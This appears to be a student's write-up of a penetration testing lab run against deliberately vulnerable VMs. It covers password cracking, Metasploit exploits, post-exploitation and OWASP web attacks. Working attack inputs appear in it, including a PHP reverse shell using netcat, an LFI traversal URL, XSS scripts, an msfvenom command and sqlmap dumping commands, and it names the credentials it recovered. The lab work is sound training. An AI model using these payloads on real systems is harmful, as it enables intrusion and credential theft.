Penetration Testing Lab – Full Cycle

Full penetration testing lab covering credential attacks, Metasploit exploitation, web application auditing (OWASP Top 10), and post-exploitation — completed as part of the MCIS Master's in Cybersecurity at CEUPE European Business School.

---

📋 Overview

This lab demonstrates a complete offensive security cycle against intentionally vulnerable targets (Metasploitable 2 and Windows 7) in a controlled VirtualBox environment. The methodology follows industry-standard penetration testing phases: reconnaissance, exploitation, post-exploitation, and web auditing.

Lab Environment:

Machine	IP	Role
Kali Linux	10.0.2.15 / 10.0.2.6	Attacker
Metasploitable 2	10.0.2.3	Target (Linux)
Windows 7	10.0.2.5	Target (Windows)

---

🛠️ Tools Used

Tool	Purpose
Metasploit Framework v6.4	Exploitation, auxiliary scanning, post-exploitation
John the Ripper	Offline password hash cracking
Hydra v9.5	Online SSH brute force attack
Nmap 7.95	Port scanning and service version detection
SQLMap	Automated SQL injection and database enumeration
Burp Suite	HTTP traffic interception and web auditing
Netcat (nc)	Reverse shell listener
msfvenom	Payload generation (bind/reverse TCP)

---

📁 Lab Structure

Exercise 1 — Credential Attacks

Offline Attack — John the Ripper:

• Connected to Metasploitable 2 via SSH and escalated to root
• Extracted /etc/shadow containing MD5crypt password hashes
• Saved hashes locally and ran John the Ripper against rockyou.txt wordlist
• Result: 3 of 7 hashes cracked — recovered passwords for sys (batman), klog (123456789), and service (service)

Online Attack — Hydra:

• Targeted SSH service on port 22 of Metasploitable 2 (10.0.2.3)
• Used rockyou.txt as password dictionary
• Result: Valid credential found — victima:3699 — confirmed active session

Online Attack — Metasploit auxiliary/scanner/ssh/ssh_login:

• Configured module with RHOSTS, USER_FILE, PASS_FILE (rockyou.txt), VERBOSE
• Launched brute force scan against SSH port 22
• Result: Root shell session established — SSH root @ 10.0.2.15:41109 → 10.0.2.3:22

---

Exercise 2 — Footprinting & Fingerprinting with Metasploit

• Used auxiliary/scanner/portscan/tcp to enumerate all open TCP ports on both targets
• Ran db_nmap internally from msfconsole against both IPs
• Used services command to display consolidated service table
• Ran db_nmap -sV for full version detection:
  • Metasploitable 2: vsftpd 2.3.4, Apache 2.2.8, MySQL 5.0.51a, PostgreSQL 8.3, VNC 3.3, UnrealIRCd, OpenSSH 4.7p1
  • Windows 7: WeOnlyDo sshd 2.4.3, Microsoft Windows RPC, Samba, Microsoft HTTPAPI 2.0, OS confirmed Windows 7–10

---

Exercise 3 — Exploiting with Metasploit

Target: Metasploitable 2 — vsftpd 2.3.4 Backdoor (CVE-2011-2523)

• Identified vsftpd 2.3.4 running on port 21 — known backdoor vulnerability
• Used exploit/unix/ftp/vsftpd_234_backdoor
• Result: Root shell obtained — uid=0(root) gid=0(root)
• Post-access enumeration: whoami, id, uname -a, ls, cat /etc/passwd, cat /etc/shadow

Bind vs Reverse Payload Demonstration:

• Generated bind payload: msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe
• Transferred bind_payload.exe to Metasploitable via SCP
• Explained key difference: bind payload waits for attacker connection; reverse payload initiates connection back to attacker

---

Exercise 4 — Windows Exploitation

Target: Windows 7 — Easy File Management Web Server 5.3

• Identified HTTP service on port 80 running Easy File Management Web Server 4.0
• Searched Metasploit and found exploit/windows/http/efs_fmws_userid_bof (Stack Buffer Overflow, disclosed 2014-05-20)
• Configured RHOSTS (10.0.2.5), LHOST, TARGET 0, TARGETURI /vfolder.ghp
• Accessed virtual folder browser via 10.0.2.5/vfolder.ghp — exposed DISK_C, DISK_D, and Test folder contents
• Attempted reverse Meterpreter session — connection reset due to host defense/compatibility constraints; documented full conceptual flow of exploit → payload → listener → session

---

Exercise 5 — Post-Exploitation

• Used exploit/windows/http/efs_fmws_userid_bof with windows/meterpreter/reverse_tcp payload
• Configured LHOST, RHOSTS, TARGET values; enabled VERBOSE mode via show advanced
• Documented full post-exploitation methodology:
  • System enumeration → Privilege escalation opportunities → Persistence → Lateral movement → Data exfiltration → Trace cleanup
• Session was not fully established due to environmental constraints — behavior documented with output and root cause analysis

---

Exercise 6 — Web Application Auditing (Mutillidae / OWASP Top 10)

Target: http://10.0.2.3/mutillidae — Mutillidae v2.1.19, Security Level 0

XSS Reflected:

• Navigated to OWASP Top 10 → A2 XSS → Reflected → DNS Lookup
• Injected <script>alert("Hola HERMRX")</script>
• Result: Alert executed — reflected XSS confirmed

XSS Stored:

• Navigated to A2 XSS → Persistent → Add to your blog
• Injected <script>alert("hi HERMRX A")</script> → Save Blog Entry
• Result: Alert triggered on page load — stored XSS confirmed

Local File Inclusion (LFI):

• Exploited page= parameter via path traversal
• Payload: http://10.0.2.3/mutillidae/index.php?page=../../../../../../../etc/passwd
• Result: Full /etc/passwd contents exposed in browser and page source

Remote File Inclusion (RFI):

• Identified page= parameter in arbitrary-file-inclusion.php
• Created PHP reverse shell payload: <?php echo shell_exec("nc -e /bin/bash 10.0.2.6 4444")?>
• Started netcat listener: nc -lvp 4444
• Shell connection not established due to network configuration — process and methodology fully documented

SQL Injection — SQLMap:

• Targeted user-info.php with username/password parameters
• Ran sqlmap -u "[URL]" --dbs → Enumerated 7 databases: dvwa, information_schema, metasploit, mysql, owasp10, tikiwiki, tikiwiki195
• Ran --tables -D owasp10 → Found 6 tables: accounts, blogs_table, captured_data, credit_cards, hitlog, pen_test_tools
• Ran --sql-query="SELECT * FROM accounts" → Dumped 16 user records including credentials
• Result: Full SQL injection chain completed successfully

---

🔑 Key Takeaways

• Weak or default credentials remain one of the highest-impact vulnerabilities — John the Ripper and Hydra demonstrated this clearly
• Known CVEs on unpatched services (vsftpd 2.3.4, Easy File Management) provide reliable footholds with minimal effort
• Web applications without input validation are vulnerable to the entire OWASP Top 10 spectrum simultaneously
• LFI and SQL Injection can expose the full system internals without ever touching exploit code
• Post-exploitation planning matters as much as initial access — without a clear objective, access is wasted

---

⚠️ Disclaimer

All exercises were performed in an isolated, intentionally vulnerable lab environment for educational purposes only, as part of the MCIS – Master's in Cybersecurity program at CEUPE European Business School. No real-world systems were targeted or accessed.

---

👤 Author

Herminio José Aquino Ramos
MCIS – Master's in Cybersecurity | CEUPE European Business School
ISO 27001 & ISO 22301 Internal Auditor | TÜV Nord Certified
LinkedIn